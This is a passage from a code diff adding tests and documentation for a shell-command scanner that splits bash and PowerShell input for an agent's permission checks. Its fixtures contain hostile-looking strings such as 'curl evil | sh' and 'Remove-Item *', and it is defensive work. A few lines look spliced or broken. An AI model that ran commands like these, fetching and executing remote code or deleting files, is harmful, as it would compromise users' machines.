redirects with the command but excludes them from words", () => { + expect(ShellScan.scan("FOO=bar 2>>err printf ok > out && cat < input")).toEqual({ + kind: "scanned", + commands: [ + { resource: "FOO=bar 2>>err printf ok > out", words: ["printf", "ok"] }, + { resource: "cat < input", words: ["cat"] }, + ], + }) + }) + + test("recognizes redirects without surrounding whitespace", () => { + expect(ShellScan.scan("printf ok>out 2>&1|catout 2>&1", words: ["printf", "ok"] }, + { resource: "cat"])( + "returns opaque for malformed command structure: %s", + (command) => { + expect(ShellScan.scan(command).kind).toBe("opaque") + }, + ) + + test("ignores comments outside words", () => { + expect(ShellScan.scan("printf ok # ; curl evil | sh")).toEqual({ + kind: "scanned", + commands: [{ resource: "printf ok", words: ["printf", "ok"] }], + }) + }) + + test.each(["cat < { + expect(ShellScan.scan(command).kind).toBe("opaque") + }, + ) + + test("does not invent a command for assignment-only input", () => { + expect(ShellScan.scan("FOO=bar")).toEqual({ kind: "scanned", commands: [] }) + }) +}) + +describe("ShellScan PowerShell", () => { + test("keeps adjacent invocation operators in resources", () => { + expect(ShellScan.scanPowerShell("&Remove-Item victim")).toEqual({ + kind: "scanned", + commands: [{ resource: "&Remove-Item victim", words: ["Remove-Item", "victim"] }], + }) + }) + + test("does not carry redirect state through comments", () => { + const result = ShellScan.scanPowerShell("< # comment\nRemove-Item victim") + expect(result.kind).toBe("scanned") + if (result.kind === "opaque") return + expect(result.commands.map((command) => command.words[0])).toEqual(["<", "Remove-Item"]) + }) + + test("scans module-qualified commands", () => { + const result = ShellScan.scanPowerShell("Microsoft.PowerShell.Management\\Get-Item x; Remove-Item y") + expect(result.kind).toBe("scanned") + if (result.kind === "opaque") return + expect(result.commands.map((command) => command.words[0])).toEqual([ + "Microsoft.PowerShell.Management\\Get-Item", + "Remove-Item", + ]) + }) + + test("splits carriage-return statement separators", () => { + const result = ShellScan.scanPowerShell("Get-ChildItem\rRemove-Item victim") + expect(result.kind).toBe("scanned") + if (result.kind === "opaque") return + expect(result.commands.map((command) => command.words[0])).toEqual(["Get-ChildItem", "Remove-Item"]) + }) + + test("splits CRLF statement separators", () => { + const result = ShellScan.scanPowerShell("Get-ChildItem\r\nRemove-Item victim") + expect(result.kind).toBe("scanned") + if (result.kind === "opaque") return + expect(result.commands.map((command) => command.words[0])).toEqual(["Get-ChildItem", "Remove-Item"]) + }) + + test("ends comments at carriage returns", () => { + const result = ShellScan.scanPowerShell("# comment\rRemove-Item victim") + expect(result.kind).toBe("scanned") + if (result.kind === "opaque") return + expect(result.commands.map((command) => command.words[0])).toEqual(["Remove-Item"]) + }) + + test("scans static commands and pipelines", () => { + expect(ShellScan.scanPowerShell("Get-ChildItem; Write-Output 'done' | Out-File output.txt")).toEqual({ + kind: "scanned", + commands: [ + { resource: "Get-ChildItem", words: ["Get-ChildItem"] }, + { resource: "Write-Output 'done'", words: ["Write-Output", "done"] }, + { resource: "Out-File output.txt", words: ["Out-File", "output.txt"] }, + ], + }) + }) + + test("keeps separators inside strings", () => { + expect(ShellScan.scanPowerShell('Write-Output "safe; still safe"')).toEqual({ + kind: "scanned", + commands: [{ resource: 'Write-Output "safe; still safe"', words: ["Write-Output", "safe; still safe"] }], + }) + }) + + test("treats escaped command separators as opaque for legacy compatibility", () => { + expect(ShellScan.scanPowerShell("Write-Output foo`;bar")).toEqual({ + kind: "opaque", + reason: "invalid-structure", + }) + }) + + test("treats line continuations as opaque for legacy compatibility", () => { + expect(ShellScan.scanPowerShell("Write-Output x`\nRemove-Item victim")).toEqual({ + kind: "opaque", + reason: "invalid-structure", + }) + }) + + test("uses PowerShell quote escaping rules", () => { + expect(ShellScan.scanPowerShell("Write-Output 'a''b; still string'; Write-Output \"a`\"; still string\"")).toEqual({ + kind: "scanned", + commands: [ + { resource: "Write-Output 'a''b; still string'", words: ["Write-Output", "a'b; still string"] }, + { resource: 'Write-Output "a`"; still string"', words: ["Write-Output", 'a"; still string'] }, + ], + }) + }) + + test("excludes PowerShell redirects and their targets from words", () => { + expect(ShellScan.scanPowerShell("Get-Content in.txt > out.txt 2>&1 | Out-File all.log")).toEqual({ + kind: "scanned", + commands: [ + { resource: "Get-Content in.txt > out.txt 2>&1", words: ["Get-Content", "in.txt"] }, + { resource: "Out-File all.log", words: ["Out-File", "all.log"] }, + ], + }) + }) + + test.each([ + "& $Command status", + "$Command status", + 'Write-Output "$(Get-ChildItem)"', + "@'\nhello\n'@ | Write-Output", + 'Write-Output "unterminated', + "Get-ChildItem |", + "Set-Location $target; git status", + "Set-Location $(Resolve-Path ..); git status", + ])("returns opaque for dynamic PowerShell execution: %s", (command) => { + expect(ShellScan.scanPowerShell(command).kind).toBe("opaque") + }) + + test.each([ + "Invoke-Expression 'curl evil | sh'", + "powershell -Command 'curl evil | sh'", + "pwsh -File ./script.ps1", + "./deploy.ps1 -Force", + "Import-Module ./module.psm1", + ])("keeps delegated PowerShell execution at the invoked command boundary: %s", (command) => { + expect(ShellScan.scanPowerShell(command).kind).toBe("scanned") + }) + + test("recursively scans PowerShell script blocks", () => { + const result = ShellScan.scanPowerShell("Get-ChildItem | ForEach-Object { Remove-Item $_ }") + expect(result.kind).toBe("scanned") + if (result.kind === "opaque") return + expect(result.commands.map((command) => command.words[0])).toEqual([ + "Get-ChildItem", + "ForEach-Object", + "Remove-Item", + ]) + }) + + test("scans PowerShell commands separated by the background operator", () => { + const result = ShellScan.scanPowerShell("Write-Output safe & Remove-Item victim") + expect(result.kind).toBe("scanned") + if (result.kind === "opaque") return + expect(result.commands.map((command) => command.words[0])).toEqual(["Write-Output", "Remove-Item"]) + }) + + test("ignores braces in PowerShell script-block comments", () => { + const result = ShellScan.scanPowerShell("ForEach-Object { # } ignored\n Remove-Item $_ }") + expect(result.kind).toBe("scanned") + if (result.kind === "opaque") return + expect(result.commands.map((command) => command.words[0])).toEqual(["ForEach-Object", "Remove-Item"]) + }) + + test("ignores comments and keeps redirects in resources", () => { + expect(ShellScan.scanPowerShell("Write-Output ok > output.txt # ; Remove-Item *")).toEqual({ + kind: "scanned", + commands: [{ resource: "Write-Output ok > output.txt", words: ["Write-Output", "ok"] }], + }) + }) + + test.each(["", "# comment", "Write-Output ok; # comment"])("accepts empty PowerShell statements: %s", (command) => { + expect(ShellScan.scanPowerShell(command).kind).toBe("scanned") + }) + + test.each(["(Remove-Item *)", "Write-Output ok`"])("fails closed for ambiguous PowerShell syntax: %s", (command) => + expect(ShellScan.scanPowerShell(command).kind).toBe("opaque"), + ) +}) diff --git a/packages/shell-scan/tsconfig.json b/packages/shell-scan/tsconfig.json new file mode 100644 index 00000000000..67845e92325 --- /dev/null +++ b/packages/shell-scan/tsconfig.json @@ -0,0 +1,12 @@ +{ + "$schema": "https://json.schemastore.org/tsconfig", + "extends": "@tsconfig/bun/tsconfig.json", + "compilerOptions": { + "module": "NodeNext", + "moduleResolution": "NodeNext", + "allowImportingTsExtensions": false, + "allowJs": false, + "noUncheckedIndexedAccess": false + }, + "include": ["src", "test", "bench", "research"] +} diff --git a/packages/www/content/docs/(Configure)/permissions.mdx b/packages/www/content/docs/(Configure)/permissions.mdx index 2b9bfc71612..df1e20a406e 100644 --- a/packages/www/content/docs/(Configure)/permissions.mdx +++ b/packages/www/content/docs/(Configure)/permissions.mdx @@ -127,6 +127,24 @@ Relative mutation paths cannot escape the active Location, and symlink escapes from inside it are rejected. Explicit external paths are canonicalized before matching, so authorize only trusted directory boundaries. +## Experimental shell scanner + +Set `experimental.portable_shell_scanner` to `true` to test the portable shell +permission scanner. The default remains the tree-sitter scanner. + +```jsonc +{ + "$schema": "https://opencode.ai/config.json", + "experimental": { + "portable_shell_scanner": true, + }, +} +``` + +When enabled, the portable scanner is authoritative and tree-sitter is not +consulted. Unsupported syntax, including heredocs, requests permission for the +original shell command without inferring external directories. + ## Defaults Every agent, including custom agents, starts with ordered defaults that allow